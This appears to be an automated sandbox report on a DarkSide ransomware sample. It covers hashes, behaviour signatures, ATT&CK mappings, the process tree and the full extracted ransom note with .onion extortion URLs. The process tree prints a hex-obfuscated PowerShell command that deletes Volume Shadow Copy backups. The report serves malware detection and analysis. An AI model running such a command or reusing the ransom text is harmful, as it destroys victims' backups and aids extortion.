Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-01-2024 19:37

General

  • Target

    12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe

  • Size

    59KB

  • MD5

    c830512579b0e08f40bc1791fc10c582

  • SHA1

    2fc8514367d4799d90311b1b1f277b3fca5ca731

  • SHA256

    12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975

  • SHA512

    b8e7dc2b26ff00c43dae3e5ceb2b241bc7211c52fba167f1dfd81b285461fd53668953ede798a5f4fd1c587ee9861c2ca0fd034a958428dd3d9f5177c61b5ca3

  • SSDEEP

    768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1ylBpoT6Y23W5o:BpDtG4nMpboDTV1ylXsZ5

Malware Config

Extracted

Path

C:\Users\README.95b288ea.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then full dump data. These files include: - finance - private information - partners documents Your personal leak page: http://darksidedxcftmqa.onion/DWMRLAW/N9N6W7_4EpBFAgHXuDGQwpXTQSpdXdKqYN_rPUXHIsXGkuZCNNHvRC8amaoegEAh On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/WKWM6ZXNBVAFW62I1RTLLD4A82OO2O7NBOKLF05CRB4BD06IRBQ0MFA9ZFAKDZH2 When you open our website, put the following data in the input form: Key: LLMNoy1cxUU5F3v2Zv7YhAQxOzdaQF3sOKD9aqFmUCkPeGBCvfM2DiV1zVX7HtYMs8QFQS4jxs4WPZiBVqJwAF5F0pA5SABPG1siAW3c69erGlmUdjURFkmncQQ2FLnzvc3AK1BCuDaxVO2DVr6X5itNLmAtbEKwlUGvyl1oYoSzeIrHqYHTZ5lhhHjuT2UaWJuCJv6wQuEJsolQ2aAZtiM7PZh7AKUR4DdKRaRe3TMOUrm2xnvQ3pZXFRuMTewibx6wmtxLJjTqxJ1Yr5hiJ4uhkOUrni5SxDvlt0bC5dk4eQtIDP2xICeMOYjrLCPpC2hk0JTpp8azhIUZbjy9fXBg0mhuGNufnTPYXtE4RYKCOb7ZphasVglR8j0Mo4JGTRiff1BB9DjCClsf1S9RS6vAtHlLudqyyhmWwURQeS4JSNlZTjOUJUUzvM3S8LXnNAqoX5qtLMXUjiYuMuDwnFQPcvTgK0j8ewGtxNI63ObxyvvVV4Ya4ALZNqA3tO76TcjrW294C3yZcEfFLvv9JUJ0jnDtNEPNGyN1wQUPkTeNZ1Z0LVa5MRP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/DWMRLAW/N9N6W7_4EpBFAgHXuDGQwpXTQSpdXdKqYN_rPUXHIsXGkuZCNNHvRC8amaoegEAh

http://darksidfqzcuhtk2.onion/WKWM6ZXNBVAFW62I1RTLLD4A82OO2O7NBOKLF05CRB4BD06IRBQ0MFA9ZFAKDZH2

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (153) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe
    "C:\Users\Admin\AppData\Local\Temp\12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3776
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4532

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    903d0767f0343beb5dcbb459f778ca12

    SHA1

    a5b75334350762849f853a9f398e39212e3eeb51

    SHA256

    d8094f72fbfaaa573a1dba477787f3c0fbd97ad41f3c1c343b79272920bef8c9

    SHA512

    d1d6fdbcad871ce619cd9e22c844f18f6291fd69a31bc9b8c8ed9d4553d508e4aabfe3d86f6c5433309d510305659ba5783e01c5389291e994b42498cc0ed707

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nbirlc4f.akx.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\README.95b288ea.TXT
    Filesize

    2KB

    MD5

    86ed12570f541fd2bf8ae4fa9aff91cb

    SHA1

    c6ee9fc8ffa7ef75ae8d47121acc9a6ddda61cf5

    SHA256

    50bd4749aad523d02ef33e49aaea309acba5ac9f4ea0719d3f6d26185993f01d

    SHA512

    146dc076237f2b9c1fff0d144dbc18a162c94bc42daef9bed35eeccd15468ae64c7dcacdc6f12bda63c5abb2e167edf286429d77a3e19828159f66731ddb37b0

  • memory/3776-18-0x000002752B000000-0x000002752B010000-memory.dmp
    Filesize

    64KB

  • memory/3776-17-0x00007FF912800000-0x00007FF9132C1000-memory.dmp
    Filesize

    10.8MB

  • memory/3776-19-0x000002752B000000-0x000002752B010000-memory.dmp
    Filesize

    64KB

  • memory/3776-7-0x000002752D180000-0x000002752D1A2000-memory.dmp
    Filesize

    136KB

  • memory/3776-22-0x00007FF912800000-0x00007FF9132C1000-memory.dmp
    Filesize

    10.8MB